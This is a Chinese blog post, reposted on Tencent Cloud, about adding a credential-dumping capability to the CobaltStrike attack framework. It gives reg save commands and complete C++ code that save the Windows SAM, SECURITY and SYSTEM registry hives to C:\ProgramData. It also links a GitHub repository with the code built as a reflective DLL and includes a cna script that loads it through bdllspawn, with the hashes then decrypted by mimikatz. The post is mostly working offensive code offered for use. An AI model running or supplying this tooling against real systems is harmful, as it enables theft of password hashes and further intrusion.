前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用Reflective DLL转存sam注册表

利用Reflective DLL转存sam注册表

作者头像
鸿鹄实验室
发布2021-04-15 10:10:13
7060
发布2021-04-15 10:10:13
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

继续使用我们的Reflective DLL功能来武装我们的CobaltStrike。

一般来说抓取注册表的方法如下:

代码语言:javascript
复制
 reg save hklm\sam sam.hive
 reg save hklm\system system.hive
 reg save hklm\security security.hive

然后在使用mimikatz来解密注册表。我们先使用C++来实现这样的一个过程:

代码语言:javascript
复制
void dump_reg()
{
    HKEY hKey = 0x0;

    DWORD file_exist;

    //dump sam
    LPCWSTR lpSubKey = L"SAM";
    LPCWSTR  lpFile = L"C:\\ProgramData\\sam.save"; 
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
    file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);

    //Check file exist
    if (file_exist == 183) {
        DeleteFileW(lpFile);
        RegSaveKeyW(hKey, lpFile, 0x0);
    }
    RegCloseKey(hKey);

    hKey = 0x0;
    //dump security
    lpSubKey = L"SECURITY";
    lpFile = L"C:\\ProgramData\\security.save";
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
    file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);

    //Check file exist
    if (file_exist == 183) {
        DeleteFileW(lpFile);
        RegSaveKeyW(hKey, lpFile, 0x0);
    }
    RegCloseKey(hKey);

    hKey = 0x0;
    //dump system
    lpSubKey = L"SYSTEM";
    lpFile = L"C:\\ProgramData\\system.save";
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
    file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);

    //Check file exist
    if (file_exist == 183) {
        DeleteFileW(lpFile);
        RegSaveKeyW(hKey, lpFile, 0x0);
    }
    RegCloseKey(hKey);

}

然后使用我们之前的方法,把它转换为反射型的dll,已上传至github(x64):

https://github.com/lengjibo/RedTeamTools/tree/master/windows/samdump

然后随便写个cna脚本来加载它:

代码语言:javascript
复制
alias hello {
  bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);
}

执行

导出成功,C:\ProgramData

mimikatz解密:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档